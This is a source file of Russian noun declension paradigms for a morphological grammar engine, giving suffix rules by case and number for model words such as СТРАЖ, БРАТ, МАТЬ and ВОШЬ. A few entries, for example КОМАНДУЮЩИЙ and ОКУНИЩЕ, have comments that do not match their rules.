/*СТРАЖ*/ Сущ_1072_одуш : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%+И" } // СТРАЖ СТРАЖИ ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%+ЕЙ" } // СТРАЖА СТРАЖЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%+ЕМ" "%+АМИ" } // СТРАЖЕМ СТРАЖАМИ ПАДЕЖ:ВИН ЧИСЛО { "%+А" "%+ЕЙ" } // СТРАЖА СТРАЖЕЙ ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%+АМ" } // СТРАЖУ СТРАЖАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%+АХ" } // СТРАЖЕ СТРАЖАХ } paradigm /*КУКИШ*/ Сущ_1072_неодуш : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%+И" } // КУКИШ КУКИШИ ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%+ЕЙ" } // КУКИША КУКИШЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%+ЕМ" "%+АМИ" } // КУКИШЕМ КУКИШАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%+И" } // КУКИШ КУКИШИ ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%+АМ" } // КУКИШУ КУКИШАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%+АХ" } // КУКИШЕ КУКИШАХ } paradigm /*РОСТ*/ Сущ_1073 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:НЕТ ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // РОСТ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%+А" } // РОСТА ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%+ОМ" } // РОСТОМ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // РОСТ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%+У" } // РОСТУ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%+Е" } // РОСТЕ } paradigm /*БРАТ*/ Сущ_1076 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%+ЬЯ" } // БРАТ БРАТЬЯ ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%+ЬЕВ" } // БРАТА БРАТЬЕВ ПАДЕЖ:ТВОР ЧИСЛО { "%+ОМ" "%+ЬЯМИ" } // БРАТОМ БРАТЬЯМИ ПАДЕЖ:ВИН ЧИСЛО { "%+А" "%+ЬЕВ" } // БРАТА БРАТЬЕВ ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%+ЬЯМ" } // БРАТУ БРАТЬЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%+ЬЯХ" } // БРАТЕ БРАТЬЯХ } paradigm ПРИШЕЛЕЦ, Сущ_1078 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ЕЦ" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-2%+ЬЦЫ" } // ПРИШЕЛЕЦ ПРИШЕЛЬЦЫ ПАДЕЖ:(РОД) ЧИСЛО { "%-2%+ЬЦА" "%-2%+ЬЦЕВ" } // ПРИШЕЛЬЦА ПРИШЕЛЬЦЕВ ПАДЕЖ:ТВОР ЧИСЛО { "%-2%+ЬЦЕМ" "%-2%+ЬЦАМИ" } // ПРИШЕЛЬЦЕМ ПРИШЕЛЬЦАМИ ПАДЕЖ:ВИН ЧИСЛО { "%-2%+ЬЦА" "%-2%+ЬЦЕВ" } // ПРИШЕЛЬЦА ПРИШЕЛЬЦЕВ ПАДЕЖ:ДАТ ЧИСЛО { "%-2%+ЬЦУ" "%-2%+ЬЦАМ" } // ПРИШЕЛЬЦУ ПРИШЕЛЬЦАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-2%+ЬЦЕ" "%-2%+ЬЦАХ" } // ПРИШЕЛЬЦЕ ПРИШЕЛЬЦАХ } paradigm /*СТУЛ*/ Сущ_1079 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%+ЬЯ" } // СТУЛ СТУЛЬЯ ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%+ЬЕВ" } // СТУЛА СТУЛЬЕВ ПАДЕЖ:ТВОР ЧИСЛО { "%+ОМ" "%+ЬЯМИ" } // СТУЛОМ СТУЛЬЯМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%+ЬЯ" } // СТУЛ СТУЛЬЯ ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%+ЬЯМ" } // СТУЛУ СТУЛЬЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%+ЬЯХ" } // СТУЛЕ СТУЛЬЯХ } paradigm /*СОСЕД*/ Сущ_1080 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%+И" } // СОСЕД СОСЕДИ ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%+ЕЙ" } // СОСЕДА СОСЕДЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%+ОМ" "%+ЯМИ" } // СОСЕДОМ СОСЕДЯМИ ПАДЕЖ:ВИН ЧИСЛО { "%+А" "%+ЕЙ" } // СОСЕДА СОСЕДЕЙ ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%+ЯМ" } // СОСЕДУ СОСЕДЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%+ЯХ" } // СОСЕДЕ СОСЕДЯХ } paradigm ДИМКА, Сущ_1081 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)\\@бКА" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:НЕТ ОДУШ:ОДУШ ЧИСЛО:ЕД |{ ПАДЕЖ:(ИМ) { "" } // ДИМКА ПАДЕЖ:(РОД) { "%-1%+И" } // ДИМКИ ПАДЕЖ:ТВОР { "%-1%+ОЙ" } // ДИМКОЙ ПАДЕЖ:ВИН { "%-1%+У" } // ДИМКУ ПАДЕЖ:ДАТ { "%-1%+Е" } // ДИМКЕ ПАДЕЖ:(ПРЕДЛ) { "%-1%+Е" } // ДИМКЕ } } paradigm /*УЧЁНЫЙ*/ Сущ_1083 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+Е" } // УЧЁНЫЙ УЧЁНЫЕ ПАДЕЖ:(РОД) ЧИСЛО { "%-2%+ОГО" "%-1%+Х" } // УЧЁНОГО УЧЁНЫХ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+М" "%-1%+МИ" } // УЧЁНЫМ УЧЁНЫМИ ПАДЕЖ:ВИН ЧИСЛО { "%-2%+ОГО" "%-1%+Х" } // УЧЁНОГО УЧЁНЫХ ПАДЕЖ:ДАТ ЧИСЛО { "%-2%+ОМУ" "%-1%+М" } // УЧЁНОМУ УЧЁНЫМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-2%+ОМ" "%-1%+Х" } // УЧЁНОМ УЧЁНЫХ } paradigm /*МАЛЫШ*/ Сущ_1084 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%+И" } // МАЛЫШ МАЛЫШИ ПАДЕЖ:(РОД) ЧИСЛО { "%+А" "%+ЕЙ" } // МАЛЫША МАЛЫШЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%+ОМ" "%+АМИ" } // МАЛЫШОМ МАЛЫШАМИ ПАДЕЖ:ВИН ЧИСЛО { "%+А" "%+ЕЙ" } // МАЛЫША МАЛЫШЕЙ ПАДЕЖ:ДАТ ЧИСЛО { "%+У" "%+АМ" } // МАЛЫШУ МАЛЫШАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%+Е" "%+АХ" } // МАЛЫШЕ МАЛЫШАХ } paradigm /*СЛУГА*/ Сущ_1086 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // СЛУГА СЛУГИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-1" } // СЛУГИ СЛУГ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОЙ" "%-1%+АМИ" } // СЛУГОЙ СЛУГАМИ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+У" "%-1" } // СЛУГУ СЛУГ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%-1%+АМ" } // СЛУГЕ СЛУГАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+АХ" } // СЛУГЕ СЛУГАХ } paradigm ОГОНЁК, Сущ_1087_неодуш : СУЩЕСТВИТЕЛЬНОЕ for "(.+)\\@бЕК" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-2%+ЬКИ" } // ОГОНЁК ОГОНЬКИ ПАДЕЖ:(РОД) ЧИСЛО { "%-2%+ЬКА" "%-2%+ЬКОВ" } // ОГОНЬКА ОГОНЬКОВ ПАДЕЖ:ТВОР ЧИСЛО { "%-2%+ЬКОМ" "%-2%+ЬКАМИ" } // ОГОНЬКОМ ОГОНЬКАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-2%+ЬКИ" } // ОГОНЁК ОГОНЬКИ ПАДЕЖ:ДАТ ЧИСЛО { "%-2%+ЬКУ" "%-2%+ЬКАМ" } // ОГОНЬКУ ОГОНЬКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-2%+ЬКЕ" "%-2%+ЬКАХ" } // ОГОНЬКЕ ОГОНЬКАХ } paradigm ИГОРЁК, Сущ_1087_одуш : СУЩЕСТВИТЕЛЬНОЕ for "(.+)\\@бЕК" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-2%+ЬКИ" } // ИГОРЁК ИГОРЬКИ ПАДЕЖ:(РОД) ЧИСЛО { "%-2%+ЬКА" "%-2%+ЬКОВ" } // ИГОРЬКА ИГОРЬКОВ ПАДЕЖ:ТВОР ЧИСЛО { "%-2%+ЬКОМ" "%-2%+ЬКАМИ" } // ИГОРЬКОМ ИГОРЬКАМИ ПАДЕЖ:ВИН ЧИСЛО { "%-2%+ЬКА" "%-2%+ЬКОВ" } // ИГОРЬКА ИГОРЬКОВ ПАДЕЖ:ДАТ ЧИСЛО { "%-2%+ЬКУ" "%-2%+ЬКАМ" } // ИГОРЬКУ ИГОРЬКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-2%+ЬКЕ" "%-2%+ЬКАХ" } // ИГОРЬКЕ ИГОРЬКАХ } paradigm УБИЙЦА, Сущ_1088 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ЙЦА" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+Ы" } // УБИЙЦА УБИЙЦЫ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+Ы" "%-1" } // УБИЙЦЫ УБИЙЦ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЕЙ" "%-1%+АМИ" } // УБИЙЦЕЙ УБИЙЦАМИ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+У" "%-1" } // УБИЙЦУ УБИЙЦ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%-1%+АМ" } // УБИЙЦЕ УБИЙЦАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+АХ" } // УБИЙЦЕ УБИЙЦАХ } paradigm ДОМИШКА, Сущ_1091 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)[ЧШЩ]КА" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // ДОМИШКА ДОМИШКИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+И" "%-2%+ЕК" } // ДОМИШКИ ДОМИШЕК ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОЙ" "%-1%+АМИ" } // ДОМИШКОЙ ДОМИШКАМИ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+У" "%-1" } // ДОМИШКА ДОМИШКИ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%-1%+АМ" } // ДОМИШКЕ ДОМИШКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+АХ" } // ДОМИШКЕ ДОМИШКАХ } paradigm ОЛИМПИЕЦ, Сущ_1092 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ИЕЦ" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-2%+ЙЦЫ" } // ОЛИМПИЕЦ ОЛИМПИЙЦЫ ПАДЕЖ:(РОД) ЧИСЛО { "%-2%+ЙЦА" "%-2%+ЙЦЕВ" } // ОЛИМПИЙЦА ОЛИМПИЙЦЕВ ПАДЕЖ:ТВОР ЧИСЛО { "%-2%+ЙЦЕМ" "%-2%+ЙЦАМИ" } // ОЛИМПИЙЦЕМ ОЛИМПИЙЦАМИ ПАДЕЖ:ВИН ЧИСЛО { "%-2%+ЙЦА" "%-2%+ЙЦЕВ" } // ОЛИМПИЙЦА ОЛИМПИЙЦЕВ ПАДЕЖ:ДАТ ЧИСЛО { "%-2%+ЙЦУ" "%-2%+ЙЦАМ" } // ОЛИМПИЙЦУ ОЛИМПИЙЦАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-2%+ЙЦЕ" "%-2%+ЙЦАХ" } // ОЛИМПИЙЦЕ ОЛИМПИЙЦАХ } paradigm /*ТАНЕЦ*/ Сущ_1093 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%c1%+Ы" } // ТАНЕЦ ТАНЦЫ ПАДЕЖ:(РОД) ЧИСЛО { "%c1%+А" "%c1%+ЕВ" } // ТАНЦА ТАНЦЕВ ПАДЕЖ:ТВОР ЧИСЛО { "%c1%+ЕМ" "%c1%+АМИ" } // ТАНЦЕМ ТАНЦАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%c1%+Ы" } // ТАНЕЦ ТАНЦЫ ПАДЕЖ:ДАТ ЧИСЛО { "%c1%+У" "%c1%+АМ" } // ТАНЦУ ТАНЦАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%c1%+Е" "%c1%+АХ" } // ТАНЦЕ ТАНЦАХ } paradigm МЕРЗАВЕЦ, Сущ_1094 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ЕЦ" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%c1%+Ы" } // МЕРЗАВЕЦ МЕРЗАВЦЫ ПАДЕЖ:(РОД) ЧИСЛО { "%c1%+А" "%c1%+ЕВ" } // МЕРЗАВЦА МЕРЗАВЦЕВ ПАДЕЖ:ТВОР ЧИСЛО { "%c1%+ЕМ" "%c1%+АМИ" } // МЕРЗАВЦЕМ МЕРЗАВЦАМИ ПАДЕЖ:ВИН ЧИСЛО { "%c1%+А" "%c1%+ЕВ" } // МЕРЗАВЦА МЕРЗАВЦЕВ ПАДЕЖ:ДАТ ЧИСЛО { "%c1%+У" "%c1%+АМ" } // МЕРЗАВЦУ МЕРЗАВЦАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%c1%+Е" "%c1%+АХ" } // МЕРЗАВЦЕ МЕРЗАВЦАХ } paradigm ДВОРЕЦ, Сущ_1095 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ЕЦ" { РОД:МУЖ ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ДВОРЕЦ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%c1%+А" } // ДВОРЦА ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%c1%+ОМ" } // ДВОРЦОМ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // ДВОРЕЦ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%c1%+У" } // ДВОРЦУ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%c1%+Е" } // ДВОРЦЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%c1%+Ы" } :: flexer "pl" // ДВОРЦЫ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%c1%+ОВ" } :: flexer "pl" // ДВОРЦОВ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%c1%+АМИ" } :: flexer "pl" // ДВОРЦАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%c1%+Ы" } :: flexer "pl" // ДВОРЦЫ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%c1%+АМ" } :: flexer "pl" // ДВОРЦАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%c1%+АХ" } :: flexer "pl" // ДВОРЦАХ } paradigm САМЕЦ, Сущ_1096 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ЕЦ" { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%c1%+Ы" } // САМЕЦ САМЦЫ ПАДЕЖ:(РОД) ЧИСЛО { "%c1%+А" "%c1%+ОВ" } // САМЦА САМЦОВ ПАДЕЖ:ТВОР ЧИСЛО { "%c1%+ОМ" "%c1%+АМИ" } // САМЦОМ САМЦАМИ ПАДЕЖ:ВИН ЧИСЛО { "%c1%+А" "%c1%+ОВ" } // САМЦА САМЦОВ ПАДЕЖ:ДАТ ЧИСЛО { "%c1%+У" "%c1%+АМ" } // САМЦУ САМЦАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%c1%+Е" "%c1%+АХ" } // САМЦЕ САМЦАХ } paradigm /*КОМАНДУЮЩИЙ*/ Сущ_1097 : СУЩЕСТВИТЕЛЬНОЕ { РОД:МУЖ ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+Е" } // КОМАНДУЮЩИЙ КОМАНДУЮЩИЕ ПАДЕЖ:(РОД) ЧИСЛО { "%-2%+ЕГО" "%-1%+Х" } // КОМАНДУЮЩЕГО КОМАНДУЮЩИХ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+М" "%-1%+МИ" } // КОМАНДУЮЩИМ КОМАНДУЮЩИМ ПАДЕЖ:ВИН ЧИСЛО { "%-2%+ЕГО" "%-1%+Х" } // КОМАНДУЮЩЕГО КОМАНДУЮЩИХ ПАДЕЖ:ДАТ ЧИСЛО { "%-2%+ЕМУ" "%-1%+М" } // КОМАНДУЮЩЕМУ КОМАНДУЮЩИМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-2%+ЕМ" "%-1%+Х" } // КОМАНДУЮЩЕМ КОМАНДУЮЩИХ } paradigm ДОСТОЕВСКИЙ, Сущ_1098 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)СКИЙ" { ПЕРЕЧИСЛИМОСТЬ:НЕТ ОДУШ:ОДУШ РОД:МУЖ ЧИСЛО:ЕД |{ ПАДЕЖ:(ИМ) { "" } // Достоевский ПАДЕЖ:(РОД) { "%-2%+ОГО" } // Достоевского ПАДЕЖ:ТВОР { "%-2%+ИМ" } // достоевским ПАДЕЖ:ВИН { "%-2%+ОГО" } // Достоевского ПАДЕЖ:ДАТ { "%-2%+ОМУ" } // Достоевскому ПАДЕЖ:(ПРЕДЛ) { "%-2%+ОМ" } // Достоевском } } paradigm ДЫМИЩЕ, Сущ_1099 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ЩЕ" { РОД:МУЖ ОДУШ:НЕОДУШ ПЕРЕЧИСЛИМОСТЬ:ДА ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ДЫМИЩЕ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+А" } // ДЫМИЩА ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕМ" } // ДЫМИЩЕМ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // ДЫМИЩЕ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+У" } // ДЫМИЩУ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // ДЫМИЩЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+И" } // ДЫМИЩИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1" } // ДЫМИЩ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+АМИ" } // ДЫМИЩАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-1%+А" } // ДЫМИЩА ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+АМ" } // ДЫМИЩАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+АХ" } // ДЫМИЩАХ } paradigm ОКУНИЩЕ, Сущ_1100 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ЩЕ" { РОД:МУЖ ОДУШ:ОДУШ ПЕРЕЧИСЛИМОСТЬ:ДА ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ОКУНИЩЕ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+А" } // ОКУНИЩА ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЕМ" } // ОКУНИЩЕМ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+А" } // ОКУНИЩА ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+У" } // ОКУНИЩУ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // ОКУНИЩЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+И" } // ОКУНИЩИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1%+А" } // ОКУНИЩА ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+АМИ" } // ОКУНИЩ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-1" } // ОКУНИЩ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+АМ" } // ОКУНИЩАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+АХ" } // ОКУНИЩАХ } // ======================================================================= paradigm /*МАТЬ*/ Сущ_2001 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+ЕРИ" } // МАТЬ МАТЕРИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+ЕРИ" "%-1%+ЕРЕЙ" } // МАТЕРИ МАТЕРЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЕРЬЮ" "%-1%+ЕРЯМИ" } // МАТЕРЬЮ МАТЕРЯМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-1%+ЕРЕЙ" } // МАТЬ МАТЕРЕЙ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+ЕРИ" "%-1%+ЕРЯМ" } // МАТЕРИ МАТЕРЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+ЕРИ" "%-1%+ЕРЯХ" } // МАТЕРИ МАТЕРЯХ } paradigm /*ТЬМА*/ Сущ_2002 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+Ы" } // ТЬМА ТЬМЫ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+Ы" } // ТЬМЫ - ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОЙ" "%-1%+АМИ" } // ТЬМОЙ ТЬМАМИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ" } // ТЬМОЮ ПАДЕЖ:ВИН ЧИСЛО { "%-1%+У" "%-1%+Ы" } // ТЬМУ ТЬМЫ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Е" "%-1%+АМ" } // ТЬМЕ ТЬМАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+АХ" } // ТЬМЕ ТЬМАХ } paradigm БЛОНДИНКА, Сущ_2003 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)\\@бКА" { РОД:ЖЕН ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // БЛОНДИНКА ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+И" } // БЛОНДИНКИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЙ" } // БЛОНДИНКОЙ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ" } // БЛОНДИНКОЮ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+У" } // БЛОНДИНКУ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Е" } // БЛОНДИНКЕ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // БЛОНДИНКЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+И" } :: flexer "pl" // БЛОНДИНКИ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-2%+ОК" } :: flexer "pl" // БЛОНДИНОК ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+АМИ" } :: flexer "pl" // БЛОНДИНКАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-2%+ОК" } :: flexer "pl" // БЛОНДИНОК ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+АМ" } :: flexer "pl" // БЛОНДИНКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+АХ" } :: flexer "pl" // БЛОНДИНКАХ } paradigm /*ВОШЬ*/ Сущ_2004 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-3%+ШИ" } // ВОШЬ ВШИ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "%-3%+ША" } // ВША ПАДЕЖ:(РОД) ЧИСЛО { "%-3%+ШИ" "%-3%+ШЕЙ" } // ВШИ ВШЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%+Ю" "%-3%+ШАМИ" } // ВОШЬЮ ВШАМИ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-3%+ШОЙ" } // ВШОЙ ПАДЕЖ:ВИН ЧИСЛО { "" "%-3%+ШЕЙ" } // ВОШЬ ВШЕЙ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-3%+ШУ" } // ВШУ ПАДЕЖ:ДАТ ЧИСЛО { "%-3%+ШЕ" "%-3%+ШАМ" } // ВШЕ ВШАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-3%+ШЕ" "%-3%+ШАХ" } // ВШЕ ВШАХ } paradigm МАМА, Сущ_2006 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)А" { РОД:ЖЕН ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // МАМА ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+Ы" } // МАМЫ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЙ" } // МАМОЙ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ОЮ" } // МАМОЮ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "%-1%+У" } // МАМУ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Е" } // МАМЕ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // МАМЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+Ы" } :: flexer "pl" // МАМЫ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1" } :: flexer "pl" // МАМ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+АМИ" } :: flexer "pl" // МАМАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-1" } :: flexer "pl" // МАМ ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+АМ" } :: flexer "pl" // МАМАМ 